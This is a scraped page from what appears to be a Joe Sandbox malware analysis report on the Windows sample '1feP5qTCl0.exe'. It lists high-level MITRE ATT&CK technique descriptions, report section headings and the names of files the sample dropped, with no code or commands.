Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1feP5qTCl0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Reka\rapnewsa.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04hyky0x.sdt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35cykrtw.ugr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3trpxjro.fjf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ack5gunc.q5g.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bewpq4em.wqs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cktcgogd.dyy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cofnv0mu.fpm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cpivkyqt.ol3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f5yxi0fs.ri5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ff0l11tn.qhm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g50jaqsy.cy5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gcc41a0u.5at.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gongow4t.uye.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hmxt1erl.s3e.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxinlifc.kli.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iajah50i.bs5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhn4zuv1.0ku.ps1

Windows Analysis Report
1feP5qTCl0.exe